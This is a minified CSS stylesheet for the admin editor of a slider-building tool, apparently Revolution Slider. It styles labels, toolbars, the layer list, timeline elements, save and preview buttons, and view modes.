.revbuilder-colorpicker.revbuilder-cpicker-master-wrap.visible-cp-input { width: 67px; display: inline-block; position: relative} #rb_tlw onelong .revbuilder-colorpicker.revbuilder-cpicker-master-wrap.visible-cp-input input { position: absolute;top: 7px;left: 23px;white-space: nowrap;overflow: hidden;width: 40px !important;min-width: 45px !important; } #builderView.staticlayersview #form_slidebg { display: none !important } #builderView:not(.staticlayersview) #form_slidestatic { display: none !important; } #builderView:not(.staticlayersview) #form_staticlayerposition_basic { display: none !important; } /********************************* LABELS AND SECTION TITELS **********************************/ #video_id_wrap { position: relative } longoption { display: block; border: 1px solid #3f444a; border-radius:3px; line-height: 38px; box-sizing: border-box; margin-bottom:5px;} .material-icons.rcw { transform: rotate(90deg); } .section_title { font-size: 16px; line-height: 28px;font-weight: 500;color: #000;} .setia { margin-bottom: 20px;} .description, label_info, .label_info, .function_info { color: #777c80; font-size:14px; font-weight: 400; line-height: 20px; display:inline-block;} .function_info a { color: inherit !important; } .function_info a:hover { color: #fff !important; } label_title, .label_title { line-height: 28px;vertical-align: top;min-width: 180px;display: inline-block; cursor: default;color: #222;font-weight: 800;text-transform: uppercase;margin-bottom: 10px;font-size: 14px;} label_value_info, .label_value_info { line-height: 28px;vertical-align: top;min-width: 30px;display: inline-block; cursor: default;color: #222; text-align:center;font-weight: 800;text-transform: uppercase;margin-bottom: 10px;border-radius: 4px; padding: 0px 10px;font-size: 12px;} label_sub, .label_sub, label_short,.label_short, label_a_left,.label_a_left, label_a_right,.label_a_right, xy_label,.xy_label, label_full,.label_full, label_a, .label_a { line-height: 17px; padding:7px 0px; vertical-align: top;display: inline-block; cursor: default;color: #222;font-weight: 500; margin-bottom: 0px;font-size: 12px;color:#777c80; width:80px; text-align: right;margin-right:15px; overflow: hidden; white-space: nowrap} label_sub, .label_sub { text-align: left; margin-right: 0px; width: auto; } #layer_with_action_wrap label_a { width: 120px; } #action_inputs label_a { width: 140px; } #rb_tlw .radiooption label_sub, #rb_tlw .radiooption .label_sub { line-height: 25px; vertical-align: top; padding: 2px 0px 0px; z-index:0; padding-left: 30px; position: relative; cursor: pointer;} #rb_tlw .radiooption label_sub:before, #rb_tlw .radiooption .label_sub:before { content: " "; width:20px;height:20px; background:#2a2c2f; position: absolute;left:0px;top:5px; border-radius: 100%; box-sizing: border-box; border:5px solid #2a2c2f;} #rb_tlw input[type=radio]:checked + label_sub { color: #fff !important; } #rb_tlw input[type=radio]:checked + label_sub:before { background: #006dd2; } label_full,.label_full { width: 100%;display: block; text-align: left} #form_slidergeneral_advanced_api label_full, #form_slidergeneral_advanced_api .label_full { width: 235px; display: inline-block; } xy_label, .xy_label { width: auto; display: inline-block; text-align: left; min-width: 30px; margin-right: 3px} .__inmodal label_short, .__inmodal .label_short, .__inmodal label_a_left, .__inmodal .label_a_left, .__inmodal label_a_right, .__inmodal .label_a_right, .__inmodal label_a, .__inmodal .label_a { display: block; width: 100%; text-align: left; } label_a span { line-height: 17px; display: inline-block; margin-top: 4px; } label_b, .label_b { line-height: 28px;vertical-align: top; display: inline-block; cursor: default;margin-right: 20px;} label_x, .label_x {line-height: 28px;vertical-align: top; display: inline-block; cursor: default;margin-right: 15px;} label_center, .label_center {line-height: 14px; cursor: default; font-size:12px; text-transform: uppercase; display: block; text-align: center; margin-bottom: 10px; letter-spacing: 1px;} .labelunderline { color: #414448; border-bottom:1px solid #4a4c4e; margin-bottom:28px; text-transform: uppercase; font-size: 14px; font-weight: 700; line-height: 20px; padding-bottom: 10px; letter-spacing: 3px} label_a.auto, .label_a.auto { min-width:auto; margin-right: 15px} label_a.long, .label_a.long { min-width: 250px; } label_a.halflong, .label_a.halflong { min-width: 150px; } longoption label_a { min-width: 150px; text-align: left; margin-left: 15px;vertical-align: top; line-height: 38px; padding: 0px; margin-right: 10px; } longoption label_a.longlabellength { min-width: 220px } longoption i.material-icons { color: #b7bbc0; font-size: 20px; margin-left: 15px; vertical-align: top; line-height:38px;} longoption .tponoffwrap, longoption .fake_on_button { margin: 9px 10px 0px 0px; float:right;} .verticaldiv { width:100%;height:1px;border-top:1px solid #3e4a5a ;margin-bottom:10px;} /* EXTRA GROUP SETTINGS */ label_title, .label_title { color: #bcc9d2; } label_value_info, .label_value_info { color: #b7bbc0; background:#2a2c2f; } label_short, .label_short { min-width: 22px; width:22px; max-width: 22px; text-align: left; margin-right:0px;} label_a_left, .label_a_left { min-width: 230px; width:230px; max-width: 230px; text-align: center; margin-right:0px;} label_a_right, .label_a_right { min-width: 60px; width:60px; max-width: 60px;text-align: center;margin-right:0px;} label_b, .label_b { color: #bcc9d2; } label_x, .label_x { color: #bcc9d2; } label_center { color:#8095a3; } oneshort label_a, oneshort .label_a { max-width: 25px;box-sizing: border-box; margin-right: 10px} onethird label_a, onethird .label_a { min-width: 28px; max-width: 28px; } oneabsolute { position: absolute; left: 0px;top: 10px; width: 80px; } .verticaldiv { border-color: #3e4a5a; margin-top: 10px; margin-bottom: 10px } #slide_ddd_depth_info { margin-bottom: 0px; } /** LIGHT MAIN LABELS **/ .space_to_left { margin-left: 10px; } .space15 { display: inline-block; width: 15px;height: auto; line-height: inherit; vertical-align: top; } #selected_slide_source { text-transform: capitalize; margin-right: 5px; display:inline-block;} /** BREAK POINTS */ .bpoints_wrap { vertical-align: bottom; line-height: 50px;} .input_left, .input_right { display: inline-block; vertical-align: top; width:65px;} .input_middle {display: inline-block; vertical-align: top; font-weight: 500; font-size: 17px; line-height: 27px; margin:0px 10px 0px 0px;} .auto_dimension_la { display: none; } /***************************** - MOUSE INFO BOX - ******************************/ #mouseInfoBox { position:absolute; z-index:101000;white-space:nowrap;background: #222a34; color: #fff; font-weight: 300; font-size: 11px; padding: 5px 5px; line-height: 13px; display: none;border-radius: 4px; pointer-events: none} #mouseInfoBox .mouselabel { min-width:5px; position: relative; display: inline-block; color: #8095a3;line-height: 12px; margin-right: 5px; vertical-align: top} #mouseInfoBox.purplemouseinfo { height:auto; background: #5e35b1; color:#fff; } #mouseInfoBox.purplemouseinfo .mouselabel { color: #fff; } .mouse_info_coor { width: 40px; height: 24px; display: inline-block; margin-right: 5px; vertical-align: top; line-height: 12px; } #mouseInfoBox.purplemouseinfo .mouse_frame_label {color: #fff; font-size:12px; line-height: 12px; font-weight: 600; vertical-align: top; margin-bottom: 2px} .mouse_frame_label { font-size: 13px;line-height: 23px; font-weight: 600 } .mouse_info_align { width: 27px; height: 24px; display: inline-block; vertical-align: top; margin-top: 0px; } .mia_tl,.mia_tc,.mia_tr, .mia_ml,.mia_mc,.mia_mr, .mia_bl,.mia_bc,.mia_br { width: 6px; height: 6px; margin-right: 3px; margin-bottom: 3px; background: #3f444a; float:left;} .mia_tr,.mia_mr, .mia_br { margin-right: 0px; } .mia_bl,.mia_bc,.mia_br { margin-bottom: 0px; } .top.left .mia_tl, .top.center .mia_tc, .top.right .mia_tr, .middle.left .mia_ml, .middle.center .mia_mc, .middle.right .mia_mr, .bottom.left .mia_bl, .bottom.center .mia_bc, .bottom.right .mia_br { background: #006dd2 } /******************************** - MAIN CONTAINERS - *********************************/ #builderView { position: fixed;top:0px;left:0px;width:100%;height:100%;background:#111; overflow: hidden;} #the_container { display: block;width: 100%;height: 100%;position: absolute;top: 0px;left: 0px;min-width: 1071px} #builder_header { background:#006dd2; line-height: 70px; margin-top:20px;min-height: 70px;padding:0px 20px;} #builder_header_navigation { background:#0b5fab; min-height: 70px; line-height: 70px; margin-bottom: 20px } #rb_editor_logo { display: inline-block; height:50px;line-height: 50px; vertical-align: middle; /*padding:0px 15px; */ } #rb_editor_logo i.material-icons { font-size: 20px; color: #b7bbc0; transform: rotate(180deg); } .main_mode_selector { cursor:pointer; display: block; height:50px;line-height: 25px; background:#3f444a; padding: 10px; box-sizing: border-box; color:#777c80; font-size: 13px; margin-bottom:0px; width:25%;float:left; text-align: center; /*border-bottom:1px solid #323438;*/} .main_mode_selector:first-child { border-left: none; } .main_mode_selector i.material-icons { font-size: 25px; display: block !important; text-align: center; margin:5px 0px 3px;} .main_mode_selector:hover { color: #b7bbc0; background: #3f444a; } .main_mode_breadcrumb_wrap, #mmbw_loptions { border-bottom: 1px solid #323438; padding: 15px; background: #202224; } .main_mode_submode { color: #777c80; font-size: 14px; font-weight: 900; line-height: 26px; text-align: center; text-transform: uppercase} .main_mode_submode.left { float: left; } .main_mode_submode.right { float: right; } .main_mode_submode.blue { background: #006dd2; color: #fff; padding: 0px 6px; border-radius: 4px; font-size: 13px;line-height: 23px;margin-top:2px;} .main_mode_submode.lila { background: #5e35b1; color: #fff; padding: 0px 6px; border-radius: 4px; font-size: 13px;line-height: 23px;margin-top:2px;} #stylemode_layeroption, #hovermode_layeroption, #animationmode_layeroption { display: none; } .mmbw_idle #stylemode_layeroption { display: block; } .mmbw_hover #hovermode_layeroption { display: block;} .mmbw_animation #animationmode_layeroption { display: block; } #glob_settings_header, #glob_slide_selector_header { border: 1px solid #d8e1e9; margin-bottom: 30px;border-radius: 4px; background:#fff;} /* FAKE CAROUSELS */ #fake_carousel_elements { position: absolute; z-index: 0; } .fakecarouselslide { position: absolute; box-sizing: border-box; background:rgba(120,140,165,1);} #slide_settings, #layer_settings, #timeline_settings { display: none; } #rev_builder_wrapper { position: relative; background: #111111; box-sizing: border-box; width:100%;height:100%;} #rev_builder { box-sizing: border-box;width: 100%; height: 100%; background:url(../images/medium_pattern_2x.png); background-size:16px 16px; background-repeat: repeat; display:block;position:absolute; overflow: hidden; } #rev_builder * { box-sizing: border-box; } #layout_slide { width:100%;height:100%;position: absolute;top:0px;left:0px;z-index:2;} #rev_slider_ul { opacity: 0 } #rev_slider_ul, #rev_slider_inbuild { z-index:3;width: 100%; height: auto; /* KRIKI HEIGHT AUTO !? */ display: block; /*background:#2a3441;*/; position:relative;margin:auto;} #rev_slider_ul_inner { width:100%;height:100%;overflow:hidden;position: absolute; display:block; top:0px;left:0px;perspective: 1200px; transform-style: flat; } #rev_builder>.ui-resizable-e { width: 4px;right: -4px;background: #999; display: block; } #rev_builder>.ui-resizable-e:after { content: " "; height: 50px;width: 10px;top: 50%;margin-top: -25px; position: absolute;left: 0px;background: #888; border-radius: 0px 4px 4px 0px; } #rev_builder>.ui-resizable-e:hover, #rev_builder>.ui-resizable-e:hover:after{ background:#006dd2; } #layer_grid { z-index:5;width: 100%; height: auto; display: block; position: absolute; background:rgba(255,255,255,0.85);margin:auto;box-sizing: border-box; opacity: 0; pointer-events: none} #layer_grid.hovered .ui-resizable-handle:hover { background: rgba(23,141,247,0.5); } #layer_grid .ui-resizable-s { bottom: 0px; } #layer_grid .ui-resizable-n { top:0px; } #layer_grid .ui-resizable-w { left:0px; } #layer_grid .ui-resizable-e { right:0px; } #rev_slider_ul.hovered>.ui-resizable-handle:hover { background: rgba(23,141,247,0.5);} #main_hor_toolbar { background:#323438;width:100%;display: block; padding:5px 0px;box-sizing: border-box; position:absolute;height: 50px;top: 0px;left: 0px;padding: 0px 320px 0px 0px;z-index: 2000; } .mht_inner { display: inline-block; vertical-align: top; margin-right:10px;height:50px; } .mht_inner { border-left:1px solid #202224;} .layer_settings_collector { border-right: 1px solid #202224; } .toolbar_selector_icons .toptoolbaricon.material-icons { font-size: 20px; } .quick_style_wrap { border-right:1px solid #202224; } .quick_style_dep { position: relative } .quick_colorchange_dark, .quick_colorchange_light { box-sizing:border-box; cursor:pointer; width: 15px; height: 15px; background: #000; position: absolute; top: 9px; right: 40px; z-index: 1000; border-radius: 8px; border: 2px solid #000; } .quick_colorchange_light { background: #fff; right:18px; border-color:#fff;} .quick_colorchange_dark:hover, .quick_colorchange_light:hover, .quick_colorchange_light.selected, .quick_colorchange_dark.selected { border-color: #006dd2; } .toolbar_rightoriented { position: absolute ; right:320px; top:0px; height:50px; line-height: 50px;} .zoomer_wrap, .undo_redo_wrap, .drawselector_wrap, #main_screenselector { position: relative; display:inline-block} #undo_redo_wrap { cursor: pointer; width: 50px; height: 50px; } #the_right_toolbar { display: block; position:absolute; top:0px; left:0px; background:#323438; width: 320px; height: 100%; box-sizing: border-box; z-index: 2500;} #the_right_toolbar { left: auto;right: 0px; } #the_right_toolbar_inner { overflow: hidden; position: relative; width: 100%; display: block; height: 100%; box-sizing: border-box; padding:0px;} #the_editor { width: 100%;height: 100%;position: absolute; top:0px;left:0px;padding: 65px 320px 0px 15px; box-sizing: border-box } .layertoolbar_wrap { background: #323438; padding: 0px 10px 0px 20px;margin-top:0px; line-height: 50px; height: 50px; position: relative; vertical-align: top; display:inline-block !important; position: absolute; top: 0px;left: 50%;margin-left: -285px; } /*#layer_rescaler { width: 100%; height: 30px; position: absolute;top: 65px; left:0px; background: #202123; box-sizing: border-box; } #lresc_path { width: 301px;top: 13px; position: absolute; left: 40px; height: 5px; background: #323437; border-radius: 4px } #lresc_pin { width: 1px; height: 14px; position: absolute; top: 50% !important; transform:translateY(-7px) !important;left: 50%; cursor: pointer} #lresc_pin:before { position: absolute;content: " "; width: 14px;height: 14px; top:0px; left: -7px; background: #026dd2; border-radius: 7px; } .multiple_layers_selected #layer_rescaler, .no_layers_selected #layer_rescaler { display: none; } */ ._lc_reScaler { display:none; pointer-events: none; position: absolute; top:0px; left:0px; z-index: 100; width:100%;height:100%;background:transparent;} ._lc_reScaler_pin { position: absolute;top: 0px;left: 0px;z-index: 10; background: transparent; width:100%;height:100%; pointer-events: none;} ._lc_reScaler_pin .ui-resizable-se { bottom: -9px;right: -9px;width: 18px;height: 18px;pointer-events: auto;background: transparent;border-radius: 10px;} ._lc_reScaler_icon { background:url(../images/resize.png); width:18px;height:18px;position: absolute; background-size:contain;bottom:-9px;right:-9px;} ._lc_.selected >._lc_reScaler { display: block; } #rev_builder.inAnimationMode ._lc_.selected >._lc_reScaler, .multiple_layers_selected ._lc_.selected >._lc_reScaler { display: none !important; } #do_title_layer, #do_title_slide, #do_title_layer_not_selected { font-size: 14px; color: #b7bbc0; font-weight: 500; display: inline-block; margin-right: 20px; width: 150px; white-space: nowrap; overflow: visible; position: relative; vertical-align: top } #no_layer_selected { font-size: 15px; color: #b7bbc0; font-weight: 400; display: inline-block; white-space: nowrap; overflow: hidden; position: relative; vertical-align: top; padding: 20px; box-sizing: border-box; text-align: center} #no_layer_selected .material-icons { vertical-align: top; font-size: 20px; margin-right: 10px; } #do_lock_layer, #do_show_layer { display: inline-block } #do_title_slide input[type="text"], #do_title_layer input[type="text"] { line-height: 50px !important;height: 50px !important;background: transparent !important; padding: 0px !important; max-width:130px;font-size: 14px !important} #do_title_slide input[type="text"]:focus, #do_title_layer input[type="text"]:focus { color: #fff !important; } #do_title_layer, #do_title_slide { display: inline-block; } #no_layer_selected, #do_title_layer_not_selected { display: none; } #the_container.no_layers_selected #do_title_layer { display: none; } #the_container.no_layers_selected #no_layer_selected, #the_container.no_layers_selected #do_title_layer_not_selected { display: inline-block; } #the_container .do_title_layer_icon, #the_container .do_title_slide_icon { color: #006dd2; font-size: 17px; margin-right: 10px; line-height: 51px } #layer_lock_iconswitch:after, #layer_visibility_iconswitch:after { display:none;content:""; position: absolute; bottom: 5px;left: 50%;margin-left: -5px;width: 0;height: 0;border-style: solid;border-width: 5px 5px 0 5px;border-color: #53565a transparent transparent transparent; } #layer_lock_iconswitch.listIsFilled:after, #layer_visibility_iconswitch.listIsFilled:after { display: block; } #ui_preset_toggle { padding: 0px; text-align: center; width:40px;} #ui_preset_toggle .material-icons { margin: 0px !important; } #_layer_settings { padding-left: 10px } #_layer_settings .tool_drop { padding-left: 20px; } .undoredostep span { text-transform: capitalize } #do_background_layer .material-icons, #do_foreground_layer .material-icons { font-size: 30px } .multiple_layers_selected #do_background_layer, .multiple_layers_selected #do_foreground_layer, .no_layers_selected #do_background_layer, .no_layers_selected #do_foreground_layer { opacity: 0.25; pointer-events: none } /* NORMAL LAYER GRIDS */ .layer_grid { z-index:5;width: 100%; height: auto; display: block; position: absolute; margin:auto;box-sizing: border-box; transform:translateX(-50%) translateY(-50%); top:50%;left:50%;} /* SLIDE LI STYLES */ .slide_li { width:100%;height:100%;position: absolute;top:0px;left:0px;} .slide_li.showunderstatic { pointer-events: none; display: block !important; z-index: 3 !important; } .slide_li.hideslotsinslide rs-sbg-px { display: none !important; } #slide_li_template { display: none !important; } .slide_li.aable.markable { z-index: 5 } rs-sbg-px { width: 100%;height: 100%;position: absolute;z-index: 0;top: 0px;left: 0px; display: block; overflow:hidden;} rs-sbg-wrap { width:100%;height:100%;position:absolute;top:0px;left:0px;z-index:0; display:block;} rs-sbg-wrap canvas { width: 100%;height: 100%;position: absolute;top:0px;left:0px; } /*.ssbg_prev { background:url(../images/light_pattern_2x.png); background-size:16px 16px; background-repeat:repeat; }*/ /* STATIC SLIDE SETTINGS */ /*.staticlayersview .layer_group_filter_wrap,*/ .staticlayersview #slide_menu_gso_wrap, #gst_slide_10, #gst_layer_14, .staticlayersview #the_slide_timeline, #the_global_layers_timeline { display: none !important; } .staticlayersview #the_global_layers_timeline { display: block !important; } .staticlayersview #module_navigation_trigger { pointer-events: none; opacity: 0.5 } /*.static_slide_li rs-sbg-px { display: none !important; }*/ .staticlayersview #gst_layer_14 { display: inline-block !important; } .static_slide_li.slide_li { z-index: 50 !important } /************************* - SELECT BY DRAW - *************************/ #selectbydraw { position: absolute;z-index: 10000;width:100%;height: 100%; position: absolute; top: 0px; left: 0px; background: transparent; cursor: crosshair} #selectbydraw_box { border: 1px dashed #fff; position: absolute; background:rgba(0,109,210,0.3);} #selectbydraw_box:after { content: " "; position: absolute; top: 0px;left: 0px;padding: 1px; box-sizing:border-box; width: 100%;height: 100%;border: 1px dashed rgba(0,109,210); } /************************** - SAVE SLIDER - *************************/ #save_slider { width: 160px; height:50px; line-height:50px; color:#fff; font-size:15px; font-weight:500; position: fixed; bottom: 0px; right: 160px; text-align: center; z-index: 10000; background: #006dd2; cursor: pointer } #save_slider:hover { background: #0a447a; } #save_slider i { margin-right: 5px; line-height: 50px !important; font-size: 20px } #optimizeslider { display:none; width: 320px; height:50px; line-height:50px; color:#fff; font-size:15px; font-weight:500; position: fixed; bottom: 50px; right: 0px; text-align: center; z-index: 10000; background: #22a46e; cursor: pointer } #optimizeslider:hover { background: #166b48; } #optimizeslider i { margin-right: 5px; line-height: 50px !important; font-size: 20px } #preview_slider { border-left:1px solid #2883d9; width: 160px; height:50px; line-height:50px; color:#fff; font-size:15px; font-weight:500; position: fixed; bottom: 0px; right: 0px; text-align: center; z-index: 10000; background: #006dd2; cursor: pointer } #preview_slider:hover { background: #0a447a; } #preview_slider i { margin-right: 5px; line-height: 50px !important; font-size: 20px } /************************** - MAIN VIEW MODES - *************************/ #timeline_settings { display: block; } /* HIDE NAVIGATION IN LAYER MODE */ .mode__slidelayout #tp-thumbs, .mode__slidelayout #tp-tabs, .mode__slidelayout #tp-bullets, .mode__slidelayout #tp-leftarrow, .mode__slidelayout #tp-rightarrow, .mode__slidelayout #rev_progress_bar_wrap { display: none !important; } /* HIDE LAYERS AND SLIDE ON NAVIGATION SETTINGS */ .mode__navlayout ._lc_ { display: none !important; } /* HIDE LAYER SETTINGS UNDER SLIDE EDITOR, AND SLIDE SETTINGS UNDER LAYER EDITOR */ .mode__slidelayout.mode__slidestyle .layer_settings_collector, .mode__slidelayout.mode__slidecontent .slide_settings_collector, .mode__slidelayout .slider_general_collector, .mode__slidelayout .slider_nav_layout_collector, .mode__navlayout .slide_settings_collector, .mode__navlayout .layer_settings_collector, .mode__navlayout .slider_general_collector, .mode__sliderlayout .slide_settings_collector, .mode__sliderlayout .layer_settings_collector, .mode__sliderlayout .slider_nav_layout_collector { display:none !important;} /*SHOW TIMELINE WHEN NEEDED */ #timeline_settings { display: block !important; } /*.mode__slidelayout.mode__slidestyle #timeline_settings */ .mode__navlayout .nav_collector, .mode__sliderlayout .slider_general_collector { display: block; } /*SHOW SLIDE LAYOUT SETTINGS*/ .mode__slidelayout.mode__slidestyle .slide_settings_collector { display: block; } /*SHOW LAYOUT SETTINGS*/ .mode__slidelayout.mode__slidecontent .layer_settings_collector { display: block; } .mode__sliderlayout #module_settings_trigger, .mode__navlayout #module_navigation_trigger, .mode__slidelayout.mode__slidestyle #module_slide_trigger, .mode__slidelayout.mode__slidecontent #module_layers_trigger { color: #fff; background: #006dd2; } .no_layers_selected#the_container .form_collector.layer_settings_collector .form_inner { display: none !important; } /***************************** - LAYERS LIST CONTAINER - ******************************/ .mainLayerListWrap { padding:0px; position: relative; height:100%; box-sizing: border-box } .the_layers_in_slide { display: none !important; padding:0px; position: relative; overflow: hidden; height:auto; width: 100%; vertical-align: top; box-sizing: border-box; top: 0px;left: 0px;z-index: 10;} .opened_slidetab .the_layers_in_slide { display: block; border-top:15px solid #161617; border-bottom:15px solid #161617; } .resizeMainLayerListWrap { display: none !important;} .layerListContainer { margin: 0px; padding: 0px 0px 50px; } .all_layer_tool, .layerlist_toolbar_icon { display: inline-block; vertical-align: top; cursor:pointer; line-height: 34px; width:25px; text-align:left; color:#777c80;} #rb_tlw #timeline_settings .slide_timeline .slide_timeline_element input[type=checkbox].simplechkbx { margin-right: 5px; } .layerlist_toolbar_icon:hover, .layerlist_toolbar_icon.checked, #timeline_settings .all_layer_tool:hover .material-icons { color: #fff; } #layerlist_element_template { display: none !important; } .layerlist_element_innerwrap { display: block;width: 100%;height: 36px; position:relative; cursor: pointer; padding-left: 5px} #timeline .layerlist_element_innerwrap { padding-left: 0px } .layerlist_element_innerwrap ul { padding: 0px; margin: 0px; } .layerlist_element { color:#b7bbc0; list-style: none; margin:0px; position: relative; line-height: 34px} .layerlist_element_id, .layerlist_element_mover, .layerlist_element_type, .layerlist_element_alias { display: inline-block; vertical-align: top; line-height: 34px; margin-right: 0px; } #timeline .tllayerlist_element_zone >.layerlist_element_innerwrap { display: none !important; } #timeline.layer_in_drag .tllayerlist_element_zone >.layerlist_element_innerwrap { display: block !important; } .layer_in_drag.outlined { outline: 1px dashed #006dd2; } .layerlist_element_id { width: 13px; text-align: right; margin-right: 6px; } .layerlist_element_mover { margin-right: 5px;cursor: pointer } .layerlist_element_alias { font-size: 14px; white-space: nowrap; text-transform: capitalize; font-weight: 500; } .layerlist_element_type { margin-right: 5px; } #timeline .layerlist_element_type .material-icons, #rb_tlw .layerlist_element_type .material-icons { color: #006dd2; font-size:17px;} #rb_tlw .layerlist_element_innerwrap:hover .layerlist_element_type .material-icons { color: #fff !important; } #rb_tlw .layerlist_element_innerwrap:hover { background: #0d0d0e; } .layerordertypewrap { background:#161617;padding:5px 5px 2px 5px !important; font-size:16px; line-height: 34px;} .layerordertypewrap_title { color: #777c80;letter-spacing: 1px;text-transform: uppercase;font-weight: 500; line-height: 34px;font-size: 11px; display: inline-block; padding-left:20px; vertical-align: top} .layerlist_toolbar { display:none; /*background: linear-gradient(to right, rgba(0,109,210,0) 0%,rgba(0,109,210,1) 20%,rgba(0,109,210,1) 100%);*/ position: absolute;top:0px;right:23px;z-index:5;padding:0px 5px 0px 40px;} .tllayerlist_element .layerlist_toolbar { display:none; position: absolute;top:0px;right:0px;z-index:5;padding:0px 5px 0px 10px; height:35px; width:25px;} .tllayerlist_element .layerlist_element_innerwrap:hover .layerlist_toolbar { display: block } .layerlist_toolbar_icon_wrap { position: absolute;right:0px;top:0px;width:auto;height:36px; z-index: 6} #rb_tlw .material-icons.layer_current_visibility { display:none;font-size: 13px !important; position: absolute; right: 30px; cursor: pointer; top: 0px; z-index: 20; opacity: 0.5} #rb_tlw .material-icons.layer_current_locked { display:none;font-size: 13px !important; position: absolute; right: 50px; cursor: pointer; top: 0px; z-index: 20; opacity: 0.5;} #rb_tlw .material-icons.layer_current_visibility:hover, #rb_tlw .material-icons.layer_current_locked:hover { opacity: 1 } #rb_tlw .tllayerlist_element >.layerlist_element_innerwrap:hover .material-icons.layer_current_visibility, #rb_tlw .tllayerlist_element._unvisible_ >.layerlist_element_innerwrap .material-icons.layer_current_visibility { display: block;} #rb_tlw .tllayerlist_element >.layerlist_element_innerwrap .material-icons.layer_current_visibility { opacity: 0.35; } #rb_tlw .tllayerlist_element >.layerlist_element_innerwrap .material-icons.layer_current_visibility:hover { opacity: 0.65; } #rb_tlw .tllayerlist_element._unvisible_ >.layerlist_element_innerwrap .material-icons.layer_current_visibility { opacity: 1; } #rb_tlw .tllayerlist_element >.layerlist_element_innerwrap:hover .material-icons.layer_current_locked, #rb_tlw .tllayerlist_element._locked_ >.layerlist_element_innerwrap .material-icons.layer_current_locked { display: block; } #rb_tlw .tllayerlist_element >.layerlist_element_innerwrap .material-icons.layer_current_locked { opacity: 0.35 } #rb_tlw .tllayerlist_element >.layerlist_element_innerwrap .material-icons.layer_current_locked:hover { opacity: 0.65 } #rb_tlw .tllayerlist_element._locked_ >.layerlist_element_innerwrap .material-icons.layer_current_locked { opacity: 1 } .layerordertypewrap .all_layer_tool_wrap { display: none; } .layerordertypewrap:hover .all_layer_tool_wrap { display: block; } #rb_tlw .layerordertypewrap .material-icons { cursor: pointer;font-size: 13px; width:16px;margin-right: 1px; position: relative; z-index: 100} .layerlist_toolbar_icon { visibility: hidden } .layerlist_toolbar_icon.checked, .layerlist_toolbar_icon.endswithslide, .layerlist_element_innerwrap:hover .layerlist_toolbar_icon { visibility: visible} .layerlist_element_innerwrap:hover .layerlist_toolbar { display: block; } .layerlist_element_innerwrap:hover .layerlist_element_alias { color: #fff; } .nolayeravailable { padding: 0px 10px; border-bottom: 1px solid #222a34; } .layerlist_element_level { margin-left: 0px; display:inline-block;} ul.layerListContainer >li >.layerlist_element_innerwrap .layerlist_element_type { margin-left: 10px; } .tllayerlist_element_group>.layerlist_element_innerwrap>.context_left>.layerlist_element_type { margin-left: 0px; } .layerListContainer>.layerlist_element.not_zone_layer>ul>li.layerlist_element>.layerlist_element_innerwrap>.context_left>.layerlist_element_type, .layerlist_element ul li ul li ul li .layerlist_element_type { margin-left: 25px; } .layerlist_element ul li ul li ul li.tllayerlist_element_group .layerlist_element_type { margin-left: 35px; } .tllayerlist_element_group ul li ul li .layerlist_element_type { margin-left: 25px; } .layerListContainer .collapsed ul { display: none; } .layerListContainer .collapsed .layerlist_element_level i { transform: rotateZ(-90deg); } .layerlist_element .indeplayerinput {display:none; width: 200px; height: 30px; position: absolute; left: 38px; padding: 0px 30px 0px 15px !important; background: #0d0d0e !important; top: 1px; z-index: 30; border: none; color: #fff; box-shadow: none !important; border-radius: 4px; } .tllayerlist_element.tllayerlist_element_column.grouptodropinlist:before, .tllayerlist_element.tllayerlist_element_row.grouptodropinlist:before, .tllayerlist_element.tllayerlist_element_group.grouptodropinlist:before { position: absolute; top: 0px; left: 1px; z-index: 10000; width: 100%; height: 100%; /*border: 1px solid #fff;*/ display: block; content: ""; box-shadow:0px 0px 6px 3px rgba(0,0,0,0.45); } .tllayerlist_element.tllayerlist_element_column.grouptodropinlist .layerlist_element_innerwrap .context_left, .tllayerlist_element.tllayerlist_element_column.grouptodropinlist ul li .layer_raz_info, .tllayerlist_element.tllayerlist_element_column.grouptodropinlist .layerlist_element_innerwrap, .tllayerlist_element.tllayerlist_element_column.grouptodropinlist .layerlist_element_innerwrap .stimeline, .tllayerlist_element.tllayerlist_element_row.grouptodropinlist .layerlist_element_innerwrap .context_left, .tllayerlist_element.tllayerlist_element_row.grouptodropinlist ul li .layer_raz_info, .tllayerlist_element.tllayerlist_element_row.grouptodropinlist .layerlist_element_innerwrap, .tllayerlist_element.tllayerlist_element_row.grouptodropinlist .layerlist_element_innerwrap .stimeline, .tllayerlist_element.tllayerlist_element_group.grouptodropinlist .layerlist_element_innerwrap .context_left, .tllayerlist_element.tllayerlist_element_group.grouptodropinlist ul li .layer_raz_info, .tllayerlist_element.tllayerlist_element_group.grouptodropinlist .layerlist_element_innerwrap, .tllayerlist_element.tllayerlist_element_group.grouptodropinlist .layerlist_element_innerwrap .stimeline { background:#292B2E !important; } .layerlist_element .layerlist_element_innerwrap.directedit .indeplayerinput { display: inline-block; } .layerlist_element .layerlist_element_innerwrap.directedit .layerlist_element_alias { display: none; } .tllayerlist_element_zone.beforeitemdrop:before {content:" ";height:3px;background:#006dd2; position:absolute; width:100%; top:-1px; left:0px;z-index: 15} .layerlist_element.beforeitemdrop>.layerlist_element_innerwrap:after { content:" ";height:1px;background:#006dd2; position:absolute; width:100%; top:-1px; left:0px;z-index: 15} .layerlist_element.incolumntopdrop>.layerlist_element_innerwrap:after, .layerlist_element.afteritemdrop>.layerlist_element_innerwrap:after { content:" ";height:1px;background:#006dd2; position:absolute; width:100%; bottom:-1px; left:0px;z-index: 15} .layerlist_element.afterzonedrop:after { content:" ";height:1px;background:#006dd2; position:absolute; width:100%; bottom:-1px; left:0px;z-index: 15} .layerlist_element.ui-draggable-dragging { z-index: 1600; } .layerListContainer.sortToTheEnd { border-bottom: 3px solid #006dd2; } .layerlist_element.incolumndrop .layerlist_element_innerwrap, .layerlist_element.incolumntopdrop .layerlist_element_innerwrap {background:#2f3a49} #rb_tlw .layerordertypewrap .layerlist_element_level, .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_level { position: absolute; width: 100% } #rb_tlw .layerordertypewrap, .clayerlist_element_zone >.layerlist_element_innerwrap { padding-top:2px; padding-bottom:3px; } .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_alias {letter-spacing: 1px;text-transform: uppercase;font-weight: 500;line-height: 34px;font-size: 11px;display: inline-block; } .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_alias {color: #777c80; font-size: 11px; padding-left: 20px; } .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_type { display: none; } .tllayerlist_element_zone >.layerlist_element_innerwrap:hover { background: transparent; } .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_toolbar { background: transparent;padding-left: 0px;top: 5px; } 